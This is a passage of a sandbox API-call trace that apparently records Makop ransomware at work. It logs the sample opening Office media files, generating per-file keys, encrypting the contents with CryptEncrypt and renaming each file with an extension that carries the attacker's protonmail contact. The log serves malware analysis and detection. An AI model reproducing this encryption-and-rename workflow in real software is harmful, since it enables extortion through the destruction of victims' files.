phKey=0x6577aac*=0x48c7128) returned 1 [0164.188] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.188] GetProcessHeap () returned 0x48a0000 [0164.188] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.188] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.188] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.188] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.189] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.189] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.189] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.190] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15ea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15ea, lpOverlapped=0x0) returned 1 [0164.191] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15f0, dwBufLen=0x15f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15f0) returned 1 [0164.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15f0, lpOverlapped=0x0) returned 1 [0164.191] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.192] SetEndOfFile (hFile=0xf0) returned 1 [0164.198] GetProcessHeap () returned 0x48a0000 [0164.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.198] GetProcessHeap () returned 0x48a0000 [0164.198] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.198] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.200] CloseHandle (hObject=0xf0) returned 1 [0164.201] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0164.201] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF") returned 61 [0164.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.202] GetProcessHeap () returned 0x48a0000 [0164.202] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.202] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0164.207] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.208] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.208] GetProcessHeap () returned 0x48a0000 [0164.208] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.208] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.208] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.208] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.209] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x812, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x812, lpOverlapped=0x0) returned 1 [0164.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0164.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0164.210] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.210] SetEndOfFile (hFile=0xf0) returned 1 [0164.216] GetProcessHeap () returned 0x48a0000 [0164.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.216] GetProcessHeap () returned 0x48a0000 [0164.216] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.216] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.222] CloseHandle (hObject=0xf0) returned 1 [0164.222] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0164.222] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF") returned 61 [0164.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.224] GetProcessHeap () returned 0x48a0000 [0164.224] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.224] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.224] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.224] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0164.256] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.256] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.256] GetProcessHeap () returned 0x48a0000 [0164.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.256] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.256] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.256] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.257] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.257] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.257] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.258] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x29e5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x29e5, lpOverlapped=0x0) returned 1 [0164.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29f0, dwBufLen=0x29f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29f0) returned 1 [0164.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x29f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x29f0, lpOverlapped=0x0) returned 1 [0164.259] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.260] SetEndOfFile (hFile=0xf0) returned 1 [0164.266] GetProcessHeap () returned 0x48a0000 [0164.266] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.266] GetProcessHeap () returned 0x48a0000 [0164.266] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.267] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.269] CloseHandle (hObject=0xf0) returned 1 [0164.269] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0164.269] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF") returned 61 [0164.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.270] GetProcessHeap () returned 0x48a0000 [0164.270] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.270] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0164.285] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.286] GetProcessHeap () returned 0x48a0000 [0164.286] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.287] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.287] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.287] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcd52, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcd52, lpOverlapped=0x0) returned 1 [0164.289] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcd60, dwBufLen=0xcd60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xcd60) returned 1 [0164.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.289] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcd60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xcd60, lpOverlapped=0x0) returned 1 [0164.290] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xce34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.290] SetEndOfFile (hFile=0xf0) returned 1 [0164.297] GetProcessHeap () returned 0x48a0000 [0164.297] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.298] GetProcessHeap () returned 0x48a0000 [0164.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.298] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.300] CloseHandle (hObject=0xf0) returned 1 [0164.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0164.300] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF") returned 61 [0164.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.323] GetProcessHeap () returned 0x48a0000 [0164.323] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.323] CryptGenRandom (in: 